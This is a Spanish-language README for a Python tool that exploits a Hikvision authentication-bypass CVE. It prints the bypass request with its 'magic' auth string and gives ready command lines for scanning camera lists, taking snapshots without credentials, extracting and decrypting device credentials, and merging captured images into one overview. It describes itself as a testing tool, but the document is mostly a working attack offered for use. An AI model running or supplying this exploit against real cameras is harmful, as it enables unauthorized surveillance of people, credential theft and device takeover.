
Omisión de autenticación de HikVision CVE, la herramienta puede extraer credenciales y tomar instantáneas basadas en magic cookie o credenciales suministradas.
Herramienta independiente para listar cámaras Hikvision desde un archivo y tomar una instantánea de cada una usando credenciales válidas (HTTP Basic o Digest auth) o la omisión de autenticación CVE. Diseñada para ejecutarse en otro equipo con fines de prueba.
host o host:puerto por línea).--save-snapshot opcional para dispositivos vulnerables.--exploit para usar la omisión CVE sin credenciales).--merge opcional para construir una imagen general. Dependencias: requests, Pillow (para --merge).requestspip install -r requirements.txt
Crea un archivo de texto con una cámara por línea. Los comentarios con # se ignoran.
# Ejemplo cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Imprime las cámaras leídas del archivo (no se necesitan credenciales).
python hikvision_snapshots.py cameras.txt list
Verificación de alcance opcional (GET HTTP a cada host):
python hikvision_snapshots.py cameras.txt list -v
Prueba cada cámara para el CVE de omisión de autenticación de instantánea de Hikvision. No se requieren credenciales.
python hikvision_snapshots.py cameras.txt check
Guardar instantáneas solo para cámaras vulnerables:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Opciones: --timeout, --workers, -o (para --save-snapshot).
Extrae credenciales de cada cámara mediante el CVE (autenticación mágica para obtener lista de usuarios y archivo de configuración, luego descifra la configuración). Requiere OpenSSL en el equipo. No se necesitan credenciales para ejecutar.
python hikvision_snapshots.py cameras.txt credentials
Opciones: --timeout, --workers.
Verifica que tus credenciales funcionen en cada cámara (usa los mismos endpoints de instantánea; no guarda imágenes).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Opciones: --timeout, --workers, --digest (igual que instantánea).
Toma una instantánea por cámara y la guarda como JPEG. Usa credenciales válidas o --exploit (omisión de autenticación CVE, sin credenciales).
# Con credenciales
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# Con exploit CVE (sin credenciales)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ por defecto (usa -o para cambiar).host o host_puerto (ej. 192_168_1_100.jpg, nvr_local_8080.jpg).Opciones:
Con --merge, después de guardar cada instantánea, la herramienta construye una imagen de cuadrícula única (overview.jpg) en el directorio de salida con una celda por cámara y una etiqueta. Requiere Pillow (pip install Pillow).
Ejemplo con salida personalizada y autenticación Digest:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Ejemplo con imagen general fusionada:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# o con exploit (sin credenciales):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Instantánea autenticada (con credenciales): el script prueba en orden – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (omisión de autenticación mágica, sin credenciales).
hikvision_snapshots.py, requirements.txt y tu archivo de lista de cámaras al equipo.pip install -r requirements.txtlist para verificar el archivo; usa check para el CVE, auth-check para las credenciales, o snapshot (con -u/-p o --exploit).Asegúrate de que el equipo tenga acceso de red a todas las IPs y puertos de las cámaras.
| Opción | Descripción | Predeterminado |
|---|
-u, --username | Nombre de usuario de la cámara | requerido a menos que --exploit |
-p, --password | Contraseña de la cámara | requerido a menos que --exploit |
--exploit | Usar omisión de autenticación mágica CVE (sin credenciales) | desactivado |
-o, --output-dir | Directorio para las imágenes de instantáneas | snapshots |
--timeout | Tiempo de espera HTTP en segundos | 15 |
--workers | Número de solicitudes de instantánea concurrentes | 10 |
--digest | Usar autenticación HTTP Digest en lugar de Basic | desactivado |
--merge | Fusionar todas las instantáneas en una imagen general | desactivado |
--merge-columns | Columnas de la cuadrícula para la fusión (predeterminado: automático) | automático |